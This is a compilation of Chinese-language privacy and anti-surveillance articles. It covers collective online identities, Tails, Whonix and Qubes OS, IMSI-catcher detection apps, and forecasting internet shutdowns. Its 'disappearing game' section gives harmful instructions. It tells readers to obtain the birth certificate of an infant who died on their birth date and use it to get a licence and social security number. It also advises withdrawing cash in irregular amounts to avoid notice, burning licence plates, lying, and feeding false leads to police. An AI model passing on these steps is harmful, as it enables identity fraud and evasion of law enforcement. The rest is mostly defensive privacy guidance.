- 如果想使用自己的域名，除非使用比特币或其他匿名支付系统，否则绕过支付的身份识别可能会很困难。我们将提供的个人数据不仅存储在注册商的内部档案中，而且默认情况下任何人都可以通过搜索引擎（whois）或 Gandi. net 中的简单命令轻松查询这些数据。这时候也许你需要挂名一个组织并使用他们的信息，或者可以使用像 Gandi.net这样的注册商，它可以尽可能为个人提供私人域名注册。

——管理集体在线身份——

「图」

1、集体虚拟角色

General Ludd, Captain Swing, the Guerrilla Girls, Luther Blissett, Anonymous—— 几个世纪以来有很多志趣相投的人们组建团体匿名

参加了历史性的抗议活动，或者以集体笔名创造了突破性和挑衅性的艺术品或恶作剧。除了隐藏所涉及的个人的身份之外，这些集体角色已经在近乎神奇的光环中笼罩了他们所有的壮举。

如果我们想采用集体身份，可以采用已存在的身份，如 Anonymous / Anonymiss，也可以创建一个我们可以共享的新身份。

- 关于集体认同的一项非常有趣的研究是人类学家 Gabriella Coleman 的书《Hacker，Hoaxer，Whistleblower，Spy. The Many Faces of Anonymous》IYP 介绍给这本书，基于对匿名者如何成为具有多种面孔和态度的众所周知且强大的集体认同的人类学研究。
- 在 《Networked Disruption. Rethinking Oppositions in Art, Hacktivism and the Business of Social Networking (2011)》中，Tatiana Bazzichelli 描述了多重身份是如何被用来破坏权力和霸权的基本概念，以及它如何在今天的网络中发挥重要作用。

2、管理集体身份**……**或简单的集体账户

虽然许多人的合作可以帮助创建一个丰富的集体身份，但管理一个集体项目可能会有一些你应该记住的安全和技术挑战。

由于安全链中的单个弱连接都可能会破坏整个系统，因此我们的安全性和匿名性取决于我们小组的每个成员所采取的预防措施。安全是一种集体思维。我们的团队能获得的安全程度取决于我们可能面临的威胁、以及我们对手的力量和技能。

尽管如此，你肯定不希望丢失一些重要的东西，例如你的集体邮箱或集体使用的社交网络帐户的密码。如果你决定与整个团体共享这些密码，则需要对每个成员进行如何安全存储密码的培训。

为了最大限度地降低此类风险，应尽量使用提供不同帐户和密码的服务。例如，可以创建一个所有成员都订阅的邮件列表，而不是使用单个邮箱。如果允许未订阅的人员写入，则每个组成员都能够在他们自己的邮箱中读取该电子邮件，而不是在具有危险共享密码的集体邮箱中。

同样，如果真的需要通过 Facebook 进行协调，那么在专门的小组中共享信息要好得多，而不是在集体账户中做所有的事。

——每个身份的不同设备——

「图」

如果你对自己的几个身份使用相同的操作系统，无论如何谨慎地分离配置文件，仍然会犯下人为性的错误，例如，连错了账户，或者被恶意软件感染，允许攻击者使用我们的所有身份监控我们在线做的所有事。

通过为每个域使用不同的虚拟机，以及通过保留另一个虚拟机来打开不受信任的附件以避免恶意软件感染，可以限制这两种风险。

出于匿名化的目的，最好的选择是安装 Virtualbox，一个开源的跨平台虚拟机监视器（https://www.virtualbox.org）。使用 Virtualbox，您可以创建一个虚拟机，然后在其上运行一个名为 Whonix 的操作系统。

我们介绍过 Whonix，详见《匿名工具：小白级指南》

Tails——

如果拥有自己的计算机，可以自由安装任何我们想要的东西，特别是如果它是一台功能强大的机器，那么使用虚拟机，特别是 Whonix 是一个好主意。但是，如果我们使用较旧的机器或只是从网吧连接到互联网，安装虚拟机就不行了。在这种情况下可能会转向一个安装了 Linux 操作系统的 USB 记忆棒，只要打开它就会在正在使用的计算机上运行。

这种情况下推荐 Tails，或 Amnesic Incognito Live System，这是一个基于 Debian 的免费开源 Linux 发行版，几乎可以在任何计算机上通过 DVD，USB记忆棒或SD卡启动。强制所有传出连接通过**Tor**，阻止直接的非匿名连接。

这是一个完整的操作系统，就像 Whonix 一样，配备了几个内置应用程序：Web浏览器，即时消息客户端，电子邮件客户端，办公套件，图像和声音编辑器，等等。使用 Tails，可以访问互联网，进行通信，并完成所有我们需要的匿名和安全操作，并且在计算机关闭后，系统将不会在机器上留下任何痕迹，除非我们要求它这样做。

使用不同的身份时，不建议使用相同的 Tails 会话执行两个任务或认可两个身份。第一个原因是Tor倾向于重复使用相同的线路，例如在

相同的浏览会话中，使得强大的对手更容易将多个浏览请求关联为同一线路的一部分并且可能来自同一用户。其次，如果在使用 Tails 或其中一个应用程序时出现安全漏洞或误用，可能会泄露有关我们会话的信息。

这两种威胁的解决方案很简单，就是每次使用新身份时关闭并重新启动 **Tails**。

隔离安全性：**Qubes OS——**

数字安全有三种方法：第一种是模糊的安全性，它基于加密、强密码和类似的措施，并作为第一道防线；然后是正确的安全性，软件开发人员试图摆脱使他们的代码易受攻击的 bug。但现代软件非常复杂，几乎不可能完美地完成这项工作。因此，最现实的方法是隔离安全，理所当然地认为安全措施可能是脆弱的，并通过阻止可能的攻击者访问我们想要保护的整个系统来减少伤害。

例如，为了通过隔离实现安全性，Whonix 分为两部分：Whonix-Workstation，以及 Whonix-Gateway，它通过 Tor 路由所有互联网流量，并通过与前者分开，避免恶意软件、行为不当的应用程序和用户错误带来的许多威胁。

如果你不想要 Whonix 呢？有一个操作系统通过以隔离作为其主要目的而具有安全性，并且可以使管理多个社交域和/或身份的人的生活变得更加容易。

它被称为 Qubes OS—https://www.qubes-os.org—由计算机安全研究员 Joanna Rutkowska 开发，Qubes 是一个免费的开源安全导向操作系统，基于 Fedora，Linux 发行版和 Xen，它允许我们将数字生活的各个部分分离为安全隔离的虚拟机。

Qubes 将我们在计算机上执行的操作安全地隔离在这些不同的VM中，这样，如果一台虚拟机受到攻击，另一台虚拟机也不会受到影响。

通过这种方式，我们可以在一台物理计算机上完成所有工作，而不必担心一次成功的网络攻击会损害我们整个系统，也不会有人能够揭示我们几个身份之间的所有联系。

用于多个身份管理的 Qubes OS 的优势在于其用户友好的窗口管理器，它为每个域分配不同的颜色。因此，框架的颜色使得每个窗口清

晰可识别为属于对应于该颜色的域，并防止你在身份管理中潜在的人为错误。

——那么 Tails，Whonix，Qubes OS：应该如何选择——

Wonix，Tails 和 Qubes OS—都允许我们使用完全独立的操作系统来管理我们的替代身份，并且可以非常有用。当然，选择取决于您可以用来保护数字生活资源和切实的威胁模型，尤其是您期望面对的对手：如果你面对的是国家政权，那么绝对要肯定自己的数据都没有泄露。所以请先评估自己的资源和需求，以便确定最佳解决方案。

Tails，Whonix 和 Qubes Os 之间的比较如下：

好了，现在您知道哪一个最适合自己了。

最重要的是，不应将它们看作是一种万能神药，最重要的依旧是人——操作安全重于一切，而不是软件安全。但可以肯定的是，根据您的需求和资源，通过使用它们中的任何一个，都可以减少被攻击的可能性。

安全应该进入习惯，就像您使用右手签名还是左手那样自如。祝好运。〇

原文

AS19 隐身游戏：如何在监视遍地的社会里让自己消失 - iyouport

护盾（AS）

【2018年6月14日存档】“一整面墙上布满了显示器。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐”

说到消失你最先想到的是什么？躲债、犯罪、黑社会追杀……不不，我们想说的是，随时隐藏自己是每个人的权利，不管你为了好玩还是真的有重要需求。然而在当下这个监视时代，这项权利正在被剥夺。很多人之所以不重视隐私只是因为他们并不了解自己被抢走了哪些权利。

曾经一家大牌媒体在线上支付刚刚兴起的时候做了个测试，“如何在一天之内不使用现金而保持生活正常”。这个当初很热门的测试及相关报道实际上是非常可笑的，因为它的动机严重错误—— 人们需要知道的并不是没有现金对生活造成了哪些不便，而应该是，自己的隐私权被剥夺的事实。希望该媒体只是傻，而不是在故意偷换主题。

说实话，最近十年以来你都很难做到完全消失了，今后只会越来越难。基本上，你是否能消失取决于想找到你的人的技术能力，如果你得罪的是地痞流氓街头混混，甩开他们似乎相对容易一些（要是意大利黑手党的话就算了）如果你得罪的人是当权者，想躲起来恐怕要费点力气了。

不过我建议你试试，建议更多人都来试试，至少能让自己明白这个时代有多可怕，以及我们为什么要坚决抵制大数据监视社会。

想加入这个游戏吗？你需要了解以下几个步骤：

首先，要知道，真的做到消失是需要一段时间的，也就是说你无法立即做到这点。需要慢慢摆脱你的旧生活，这意味着随着时间的推移越来越少地接触朋友和家人。这一过程意味着逐渐让所有熟悉你的人淡忘你，直到没有人会忽然想起你以至于想要联系你。

这段时间内你可能需要撒谎，为了完成伟大的实验，尽可能克服一下吧。要知道，之后的日子都要通过撒谎来维系，你必须习惯它。

第二，你使用 **Visa**，**PayPal** 和 **Venmo** 的日子已经结束了。你现在是一个只会用现金的人，你需要把所有的钱都从银行里拿出来，做到无银行账户。

这是一个需要缓慢进行的过程，以免引起注意。每次提取的钱不要很多，也不要数额相同，造成一个印象，即这是个自然的过程，你是消费者，而不是转款。否则很快会有人推测你的动机。（如果你是个富人，请放弃这个游戏吧，要么放弃你的资产）

完成之后你要把现金藏在地下室里，通往地下室的路径上确保没有任何摄像头，确保没有任何人知道你的计划。

第三，抛弃一切社交媒体账户。记住是一切。删除这些帐户并不会真正抹去你的信息，所有社交媒体都拥有可以让当局获得你的历史信息的数据库。但是，尽可能地将自己从信息网格中分离出来，肯定是一种明智的选择。

Facebook 不是唯一收集个人信息的窥视者。如果 Google 是推动互联网发展的引擎，那么个人信息就是让它的石油。通过它的地图应用程序，它知道你去过哪里，你怎么到达那里的（步行，汽车，公共汽车，火车）停留多久以及是否第一次访问。该公司将您的搜索历史记录存储在你登录过的每台设备上，而算法会在您的电子邮件中搜索任何关于你的细节和动态迹象。

本月早些时候宣布的 Google Lens 是一款可视搜索引擎，可通过手机相机提供有关您正在查看的内容的信息。 Google 可能会知道你的年龄，性别，爱好，职业，兴趣，关系状态，你看过的每一个 YouTub 视频，你搜索过的每一张图片，你是否感到沮丧，以及为什么，它是数字万神殿中唯一无所不知的神。

他们使用数据库和目录来寻找目标人，大数据是社交工程学的基础。今后的文章中我们会详细介绍这些诈骗和追踪的方法。

先扔掉它们，彻底的扔掉，才能继续我们的游戏。

这一过程依旧需要慢慢进行。如果你曾经发布信息很频繁，并且拥有的关注者比较多、互动频繁，那么这个过程对于你来说应该更慢，至少尽可能做到不要让任何人注意到你的动作。

第四，辞职或请长假。这个过程同样需要时间，直到没有人会质疑你的缺席。需要做到让你的雇主和同事深深相信你真的需要很长一段时间的假期。

第五，收集所有关于你的证件，每个学校的学生证、身份证、驾驶执照、出生证、社保卡和银行对账单。收集所有将你的名字身份和照片放在一起的东西。

然后用你的方式处理它们。准则是从此之后不让任何人有机会获取到它们。不管是深埋还是一把火烧掉，注意一定要做的彻底。不要让任何人觉察到这一过程，否则会引起他们的兴趣，更加关注你或者更努力地去寻找你。

第五，销毁你的手机。这是绝对必须的，现在你是逃难者，不是社交爱好者，手机对你来说并没什么用。如果你实在想要的话可以用现金买个一次性手机，并且在必要的时候毫不犹豫地扔掉它。

第六，甩掉你的车。很少有东西比一个人的汽车更容易追踪和辨认了。卖掉它，记住只收现金，或者烧掉车牌扔在偏远的地方。

用现金买一辆二手车。这辆车不应该华丽或独特，色泽应该中性大众，使用过几年的那种，有些划痕和凹痕。记住，你得把它变得无聊才能可靠。

最糟糕的事莫过于在逃离的过程中车子没电了。所以你需要一个后备电源 pocket jumper，它应该小巧，便于携带，功能强大。

强调：上述所有步骤实施中都要躲避一切摄像头和空中无人机监视。

细节方法和要点

一、查找在你出生的当天死亡的婴儿，联系政府申请出生证。这样做不会引起特别的注意，要知道很多人都会丢失自己的出生证。然后用这些资料获取驾照、社保号以及其他个人证件。

当然众所周知的最佳方案是伪造死亡，在获得另一个合法身份的同

时，要让掌握你的身份信息的政府认为你的真的死了。但当下是电子监视史无前例的高峰，对我们的游戏来说形成的威胁相当大。要知道，生物识别信息是无法更改的，这可不止包括你的脸，还有虹膜、指纹、DNA、声音、步态。假死的难度非常之高。除非你有幸生活在一个偏远落后的地方。

二、改变外观。把你平时最喜欢的经常穿着的衣服都扔掉，去一家便宜的服装店，买几件你永远不会选择的衣服。染头发，但千万不要选择疯狂的颜色，要看起来是个普通人，只是不像原来的你。再次提醒，整个过程用现金，并且去你从未光顾过的店铺。

练习一些小动作，遮盖你平时使用的标志性习惯动作，练习吃你平时不怎么吃的东西，要知道你妈妈了解你的习惯和生活方式，其他所有人都能了解，只是他们没告诉你。但他们会告诉想追踪你的人。

人们已经开始寻找你了，要做到尽可能让他人很难认出你来。你需要让自己变得陌生。但不要让自己变得特殊，你需要融入陌生的人群才能更好地掩饰自己的身份。

记住你必须正常，无聊，平庸，尽量不要带有特征，一套普普通通的能自圆其说的简历。那些路边的石子一直都存在着，但没人注意到它们，于是它们就仿佛不存在一样。这就是你应该追求的目标。

三、交通工具。步行和自行车是最佳选项，记住不要使用共享单车！这可以让你不容易被追踪，原则是不需要使用许可证或身份证件。

公共交通工具基本都有摄像头，并且大多需要身份证件才能搭乘，所以最好不要用，除非你已经离家非常非常远了。在任何情况下不要搭乘出租车或搭便车，最好保证交通工具内只有你一个人。

四、了解你的敌人。你想躲什么人很重要，你需要掌握那些最渴望追踪你的人的思考方式，他们会怎么想，会最先猜到什么，然后避免自己选择这些元素。

必须说不幸的是，如果你的敌人是政府部门的话，他们很可能比你自己更加了解你。

八年前，电影制作人 David Bond 拍了一部片子（Erasing David），尝试了我们这个游戏中所描述的过程—— 摆脱当今监控社会的天罗地网。那可是八年前哦，八年后的今天这一切的难度已经增加了几十倍不止。

在那部片子结束后，追踪者将 David Bond 带到了他们的监控室——一整面墙上布满了显示器，上面都是他的信息。那些数据被整合成了一个详细的人格分析，以此来预测逃离者最有可能做出什么样的选择，然后提前下手围堵。这些构成你的人格分析图解的数据都来自于公开信息，来自你平时完全没有留意到就泄漏出去了的信息。它们最终会变成等着你的手铐。

我们会在今后的文章中更多介绍你是如何被深度了解的，或者说你的信息是如何被利用的。本文的目标是消失游戏，好吧，总之你应该找到一些不可预知的地方。不一定是让你不舒服和不喜欢的地方，只是一个你以前从未与任何人说过的地方。记住是任何人。

五、搞点虚假线索。在你开始旅程之前可以搞点假动作，比如用银行卡买几张你根本不会去的地方的旅行手册、使用互联网查询你根本不会去的地方的机票（不需要买，只要你使用搜索引擎就够了，一切都会被记录在案）、使用轻松自然的方式和那些最容易被警方问询的身边人聊起一些你根本不会去的地方。等等，我觉得你应该知道该怎么做。

最佳选择是两个极端：繁忙的大都市或者极其偏远的地区。你可以消失在人流中，或者自然的空虚之中。不过需要多一句话，后者也许不如前者，因为有些偏远地方比较封闭，人们互相之间非常熟悉，并且对外来的陌生人保持着警惕，你的“外来户”身份很快会传遍整个地区，这是危险因素。而大城市的人们之间陌生程度非常高，大部分情况下谁都不会注意到谁。

六、创建一个历史角色。消失不止是要脱离旧的轨道。如果你想长时间消失而不被发现，这意味着你的旧有性格，你的习惯，喜恶、爱好和想法都要改变。

你必须学会自然地回答以下所有这些问题：你来自哪里？ 你之前做了什么？ 你家人在哪里？ 你喜欢什么样的食物？ 你最喜欢的饮料是什么？ 你最喜欢的作者是哪位？ 你最喜欢的音乐家是谁？ 喜欢的明星是哪款？

最基本的是要做到：重新创造一切。

当然，结交新朋友最终是必要的。无论你到哪里，邻居和当地人都会成为你生活的一部分，和他们交朋友没有错，只是要确保在你的假定身份下做到这点。

让人们了解到同一版本的关于你的伪装身份是很必要的，尤其是当警方开始问询的时候。所以，不要害怕遇见别人，只需要警惕不要被揭示你的真实身份。

七、要随时保持警惕。千万不要在一段时间的安全之后就让自己陷入旧习惯！习惯很难更改，但现在你的目标是保命，是命重要还是难度重要？时刻注意自己，避免任何旧的习惯重新回到你身上。

八、不要冲动。不要在任何时候使用任何联系方式试图和家人及旧朋友报平安，他们不再是你生活的一部分。任何形式的联系都将是你被发现和被毁灭的导火线。

九、继续旅行。相比在一个地方停留，我们建议你继续旅行，尤其是那些欠发达的国家和地区，改名字并不那么难。变成一个平庸的背包客。再次：尽可能躲开摄像头。

重申强调关键细节：用现金在你极少光顾的商店购买新的笔记本电脑和手机、使用无法追踪的短信服务、不要使用公共电子邮件服务器、旅途中不要住店、不要叫车、不要乘坐任何要求身份识别证件才能搭乘的交通工具……尤其是不要使用互联网。

结语：这只是一个游戏，或者说一个挑战。我们希望人们能体会到监视社会强大的追缉能力、对私人空间史无前例的侵犯。永远消失是基本不可能的，如果你能保持三个月内完全隐身，你就可以写一本书记录这个神奇的过程。我保证，它一定是非常棒的出版物。〇

原文

AS2 如何应付政府使用黄貂鱼对公民进行的大规模间谍行为？ - iyouport

护盾（AS）

【2018年11月1日存档】拦路扫描是相比下很笨拙的监视手段。明明有很多可以让当权者轻松监视所有人的技术工具，他们为什么不用？更有可能的是，他们一直都在使用，只是我们不知道

日前网络传出消息称中国北京出现了警方在街头随机扫描路人手机的审查监视行为。我们没能具体核实该消息，包括它出现在哪些地区、扫描是否有针对性、以及该扫描技术本身的用意是什么。但此前新疆地区曾发生过同样的事件描述，据称针对移动设备上安装的反审查软件。

不管怎样这种强行扫描的做法是非常笨拙的，因为显然有很多其他技术能够让当权者在公民完全不知情的情况下实现间谍式监视，IMSI 捕手就是。

IMSI 捕手（俗称黄貂鱼）这种秘密手机监控技术的使用近几年来已经变得非常常见，很多国家的政府和情报机构都在使用这种技术监视他们的公民：英国警方前段时间一直在因使用 IMSI 捕手被民间权利组织挑战；美国两年前就被曝花费了上亿美元购买 IMSI 捕手，警方和情报部门利用这种技术在没有法庭手令的情况下进行大规模监视；加拿大警方公开将 IMSI 捕手描述为“重要工具”；2015 年伊朗将黄貂鱼送给了穆加贝，此后津巴布韦一直在使用它监视社会……

美国使用黄貂鱼的最新报告，以及公民社会的反抗《How the cops are tracking you》

另参见以下报告：

- **Associated Press: US suspects cellphone spying devices in DC, Frank Bajak, 2018.04.04**: https://apnews.com/

d716aac4ad744b4cae3c6b13dce12d7e/APNewsBreak:-US-suspects-cellphone-spying-devices-in-DC

- **NPR: Feds Say They've Detected Apparent Rogue Spy Devices In D.C., Merrit Kennedy, 2018.04.04**: https://www.npr.org/sections/thetwo-way/2018/04/04/599428495/feds-say-theyve-detected-apparent-rogue-spy-devices-in-d-c
- **Washington Post: DHS has detected possible cellphone surveillance in D.C.—and doesn't know who's doing it, Matt Zapotosky, 2018.04.03**: https://www.washingtonpost.com/world/national-security/dhs-says-it-has-detected-possible-cellphone-surveillance-in-dc–and-doesnt-know-whos-doing-it/2018/04/03/f69fbe36-3785-11e8-acd5-35eac230e514_story.html
- **BBC: Mystery Stingray devices discovered in Washington, 2018.04.04**: http://www.bbc.com/news/technology-43639709
- **MuckRock: Rochester police release unredacted list of Harris Corp StingRay and KingFish products, Curtis Waltman, 2016.12.02**: https://www.muckrock.com/news/archives/2016/dec/07/rochester-police-release-unredacted-list-harris-co/
- **Electronic Frontier Foundation: One Pager on Cell Site Simulators**, https://www.eff.org/document/eff-one-pager-cell-site-simulators
- **New York Times: New York Police are Using Covert Cellphone Trackers, Civil Liberties Group Says, Joseph Goldstein, 2016.02.11**: https://www.nytimes.com/2016/02/12/nyregion/new-york-police-dept-cellphone-tracking-stingrays.html
- **American Civil Liberties Union: Stingray tracking devices: who's got them? Updated March 2018**: https://www.aclu.org/issues/privacy-technology/surveillance-technologies/stingray-tracking-devices-whos-got-them
- **DHS Letter Cover**: https://www.documentcloud.org/documents/4429966-DHS-response-to-Wyden-3-26-18.html
- **DHS Letter Attachment**: https://www.documentcloud.org/documents/4430049-DHS-attachment-in-response-to-Wyden-3-26-18.html

我们在此前的一份详细报告中介绍过 IMSI 捕手《浮空器、生物识

别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有》。2016 的欧洲黑帽会议上，研究人员公开展示了这种通过 WiFi 操作的 IMSI 捕捉器攻击方式，允许攻击者在一秒钟内捕获智能手机的 IMSI 号码，然后利用该 IMSI 号码来跟踪监视移动设备用户。

一些比较知名的 IMSI 捕手是 Harris 公司的 StingRay，KingFish，和 Hailstorm，以及波音/数字接收器技术公司的 DRTbox。这些假基站通常放置在车辆中，甚至装载到有人驾驶和无人驾驶飞机上。

上述这份报告同时介绍了很多监视技术工具，所有素材均来自一次展示会：英国政府汇集了数百家监视技术公司，展示他们的全方位监视能力，从天空到地下到街头几乎无所不包，并且我们专注于其中每一项技术在中国的使用情况。结果发现，中国几乎全部拥有，并找到了准确报道证实其已被布设，唯独黄貂鱼—— 中国没有公开声称使用这种技术，然而它是如此的简单和具有普遍性，你能想象中国不会用吗？

IMSI 全称“ international mobile subscriber identity ”（国际移动用户识别码）是区别移动用户的标志，储存在 SIM 卡中，可用于区别移动用户的有效信息。不要将 IMSI 号码与 IMEI 号码混淆，IMSI 直接绑定到用户，而 IMEI 绑定到设备。

Wi-Fi 网络可以捕获附近智能手机的 IMSI 号码，无线跟踪并监控用户的根源在于智能手机（包括 Android 和 iOS 设备）连接 Wi-Fi 网络的方式。

在大多数现代移动操作系统中有两种广泛实现的协议：可扩展认证协议（EAP）、认证和密钥协商（AKA）协议。这些协议允许智能手机通过自身设备的 IMSI 号码切换登录到已知的 Wi-Fi 网络，实现 WiFi 网络自动连接而无需所有者交互。攻击者可利用 WiFi 认证协议的这种机制伪装成 WiFi 网络，诱骗智能手机连接、捕获 IMSI 号码，从而实现对用户的跟踪监视。

此外攻击者还可利用捕获的 IMSI 号码实现移动运营商提供的 WiFi 呼叫功能。智能手机 WiFi 呼叫功能允许用户通过使用加密的 IPSec 协议连接运营商的边缘分组数据网关（EPDG）。在这个过程中用于验证 WiFi 呼叫的互联网密钥交换（IKEv2）协议也是基于 IMSI 号码，这可导致发生中间人（**MITM**）攻击，允许攻击者拦截通信流量。

是的，听起来很可怕，尤其是在考虑到对技术不熟悉的人占据绝大多

数的情况下。如今恶性局面已经到来，我们除了普及应对技术之外别无他法。我们当然应该去追求技术的简单易用，让安全惠及大众，但有些时候，最大的难度在于如何有效地提醒大众对安全的重视。

在安全的角度看来，IMSI 捕手之所以邪恶是因为其侵犯完全在不知不觉中，而不是像中国当局所采取的拦路扫描那么直观。对于后者，大多数时候你能想到办法躲开，因为眼睛就能给你一个预警。但是在中国社会的习惯性思维角度上看，显然是拦路扫描更“有效”，正因为它将震慑直观化了。震慑才是根本性目的，在充满恐惧的社会里这种方法非常有效。

理论上中国当局的做法明显“帮助”了提升中国社会对安全问题的重视。只要能重视起来，简单的学习就可以掌握基本的反监视能力。但是现实层面上我们不得不考虑中国社会普遍的畏惧心理，它才是最大的障碍。Snowden 说：“权利的争取来自于战斗，除非你先站起来，否则赢不了”。希望中国社会能理解这句话的意思，顺服将让你永远都无法获得自由。

说多了。下面首先介绍一个相对简单的方法，以应付黄貂鱼。

这东西叫 **SnoopSnitch**。

SnoopSnitch 是一个 Android 应用，它会收集和分析移动基站数据，让你可以充分意识到移动网络的安全性，并给你提供一些伪基站、用户跟踪和 OTA 更新的警告信息。你可以使用来自 GSMMAP.org 上收集的 GSM 安全地图数据，同时也可以给该网站贡献数据。

SnoopSnitch 项目由德国安全研究人员三人组成，即 Alex Senier，Karsten Nohl 和来自 SRLabs 的 Tobias Engel 。它在 Android 平台上推出。点击此处从 Google Play 商店下载 SnoopSnitch 应用。

> *“SnoopSnitch collects and analyzes mobile radio data to make you aware of your mobile network security and to warn you about threats like fake base stations (IMSI catchers), user tracking and over-the-air updates.”*

目前，SnoopSnitch 仅与配备 Qualcomm 芯片组和现有 Android ROM 或具有 Qualcomm DIAG 驱动程序的任何适当自定义 ROM 的 Android 手机兼容。收集移动网络数据需要 **root** 权限。

虽然此应用程序无法保护您的手机不被黄貂鱼咬住，但它至少可以通知并提醒您特定区域内是否存在监控系统。

在下面视频中观看 SnoopSnitch 的演示；并在这里看到更多详细介绍：

反监视方案不止这一种。有几种闭源硬件解决方案都可用，但有点贵，幸运的是还存在免费和开源的软件和硬件解决方案。

另一个旨在检测 IMSI 捕获器的开源软件项目是 **AIMSICD**（Android IMSI 捕手检测器）。

AIMSICD 自 2012 年以来一直处于开发阶段，它仍然是实验性软件，并且仍处于 alpha 开发阶段。用户应该有心理准备它可能会出现一些误报和虚假警报。该应用程序无法从 Google Play 商店获得，但可以从 GitHub，F-Droid 和 Aptoide 下载。

AIMSIC 尝试通过各种不同的方法检测和避免 IMSI 捕获器，包括检查塔信息的一致性，监控信号强度，检测 FemtoCells 以及静默 SMS。该应用程序还可以帮助用户避免使用不良加密或根本不使用加密的合法蜂窝基站。应用程序使用六种颜色编码的图标来显示当前的威胁级别。

- 当 AIMSICD 显示绿色图标时，表示未检测到任何威胁，并且正在使用 A5/3 加密或更高；
- 正在显示黄色图标时表示中等威胁级别，警告使用的是较不安全的加密；
- 高威胁级别由橙色图标表示，这意味着 IMSI 捕获器正在主动跟踪该区域内所有用户；
- 红色图标提醒用户威胁级别是危险，表示已经检测到 IMSI 捕获器正在主动跟踪您的设备；
- 该应用程序还有一个黑色图标具有骷髅头，意味着您的设备正在被远程操纵。

AIMSICD 从 OpenCellID 收集蜂窝塔的位置信息，然而，OpenCellID 项目正在关闭，当前的维护者在寻找其他人来维护它。似乎 AIMSICD 尚未发布更新，更新应该能实现用于蜂窝塔位置信息的另一项服务。

AIMSICD 需要一个 **root** 的 **Android** 设备才能正常运行。

StingWatch 是 Android 的另一款旨在检测 IMSI 捕手的应用程序，并

且不需要 **root** 设备。与 AIMSICD 一样，StingWatch 也是一款免费的开源软件解决方案，用于检测 StingRay 等设备，但与 AIMSICD 不同，StingWatch 可在 Google Play 商店中获得。

还有一个解决方案是由网络安全先驱 John McAfee 开发的专有应用程序 DVasive Pro，该应用程序不是免费的。DVasive Pro 包括“Stingray Shield”，允许用户锁定他们的手机无线电发射器和接收器。

华盛顿大学安全研究人员开发 了一种名为 SeaGlass 的新系统，也是用来检测威胁的。去年 SeaGlass 传感器被安装在西雅图和密尔沃基的15辆汽车中，结果研究人员发现了数十种异常情况。这种东西很适合装在汽车里，理想情况是那种长时间行驶穿越城市大街小巷的汽车，它会随时汇总数据并构成基线图。*SeaGlass sensors are made with off-the-shelf parts that are packed into a box and installed in a vehicle's trunk, with antennas placed on or near windows*

用户自己可以采取的保护蜂窝通信私密性的另一个步骤是使用 Signal 和 Tox 等加密通信应用，并使用安全的 VPN 或 Tor 加密其蜂窝互联网流量。虽然 IMSI 捕手仍将拦截数据包，但数据将被加密了，防止攻击者获取对通信内容的访问权限。

世界各地的活动家们一直在反对这种在全国范围内大规模侵犯隐私权的行为，推动通过地方和州一级的立法，禁止使用它、或者提供有效的公民监督。中国没有公民社会和隐私活动家，于是反监视的工作更多需要每个人自己动手。还是那句话，首先应该重视起来，要知道这种威胁已经无处不在。

以上只是相关反监视技术中的几种，如果您还有其他办法，欢迎在评论中留言讨论。〇

原文

AS20 如何用指标预测互联网中断？一旦断网还可以怎么办？ - iyouport

护盾（AS）

【2018年8月23日存档】如何在线观测大规模抗议？如何通过构建模型预测抗议活动中即将面临的网络通讯封锁？以去年发生的一次瞩目的大规模抗议事件为案例，本文是一个思路演示，体现一些观测和预测的模型构建，并附带一些关于协调的经验，希望能为组织者、行动者和观察家群体提供帮助

互联网中断如今的出现频率更高了。根据国际权利组织 Access Now 发起的在线活动#KeepItOn 的调查，2016 年就记录到了全球范围内令人印象深刻的 56 次断网，该活动将断网定义为：“ 故意破坏互联网或电子通信，使其无法访问、或使其在特定人群或位置内无法使用，通常是为了控制信息的流动。“

有大量的学术文献和新闻报道提供了互联网封锁和个人网站审查封锁的资讯，以及它们与现实世界政治事件的联系。该领域的专业人士和活动家们已经进行了大量的研究，并继续讨论了触发互联网关闭的因素，以及对实现其预期目的的有效性。

在世界各国政府决定关闭互联网服务的各种理由中，一个非常普遍的特征是，所谓的或暗示的旨在防止物理骚乱蔓延的意图（可能是出于政治、宗教、经济或种族原因而发生的大型群体事件）。

因此，产生这项研究的动机在于我们是否能够在发生之前对其识别、分析和监测潜在的全面或选择性关闭的指标。本文希望成为一个分析性实验，开始填补这一空白，并提出一些关于潜在指标的想法，以便在公开场合进行监测。

测试分析模型

对一个国家的互联网流量采取严厉镇压措施的决定取决于其政府。虽

然人类的不可预测性是一个需要考虑的因素，特别是对于反复无常的当权者来说，但我们仍可以尝试制定一个模型，通过一些关键因素来评估这种决策出现的可能性：

理由：

- 在线动员成功地引发、促进或全面指导了群体事件;
- 反对党和领导人成功地利用社交论坛传播他们的信息，或压过了主流媒体的宣传地位;
- 该国公民的侨民社区—— 包括其外国媒体、非政府组织和其他实体—— 有效地分发宣传语言，进一步推动了大规模群体事件;

能力：

- 在互联网基础设施很简单、国有化、发育不良、和/或被当局易于控制的情况下;
- 互联网过滤和监控技术在国内早已家喻户晓的情况下;
- 当局已经被怀疑或已被证明了在线监视活动的部署。

并且，作为一个消极因素：

威慑力量：

- 该国的在线社区规模庞大，国际联系广泛;
- “数字经济” 涵盖了该国经济的很大一部分和/或已被作为战略性国家资产;
- 由于地缘政治背景，该国对国际压力很敏感。

——案例研究：巴拉圭——

巴拉圭这个贫穷的小国，去年正在经历一场（新的）宪法危机。总统奥拉西奥·卡特斯（Horacio Cartes）是一个统治该国权力节点并于 2013 年当选的小精英领袖，他试图强制实施一项宪法修正案，允许他在 2018 年再次当选。这被抗议者认为是经过将近三十年的民主后，这个国家已经出现了专制统治的明显转变。

事实上，阿拉贝多·斯特罗斯纳将军 (Alfredo Stroessner) 在巴拉圭统治了 35 年，其独裁统治于 1989 年结束。从那时起，该国的民主一直摇摇欲坠，并受到腐败和政治动荡的困扰。

2017 年3月31日，抗议者大批涌入国会，并点燃火把扔进建筑物。警

方的反应最终导致了反对党 PLRA 总部的风暴、以及一个年轻的党员和活动家 Rodrigo Quintana 的死亡。

骚乱持续到 2017 年 4月5 日。

研究方法

即使针对特定网站，互联网封锁也不一定是基于战略思想的理性决策。正相反此举经常是专制政府或军政府对他们统治的社会失去控制的下意识反应。

例如，泰国军政府于 2014 年5月28日短暂封锁了整个国家的 Facebook，以抑制 5月22日政变后抗议内容的传播，并随后向社交媒体公司施压以求“合作”; 印度国家当局经常断网，以限制所谓“谣言”的传播—基本上是煽动抗议和骚乱的消息—就像去年在奥里萨邦的状况那样。

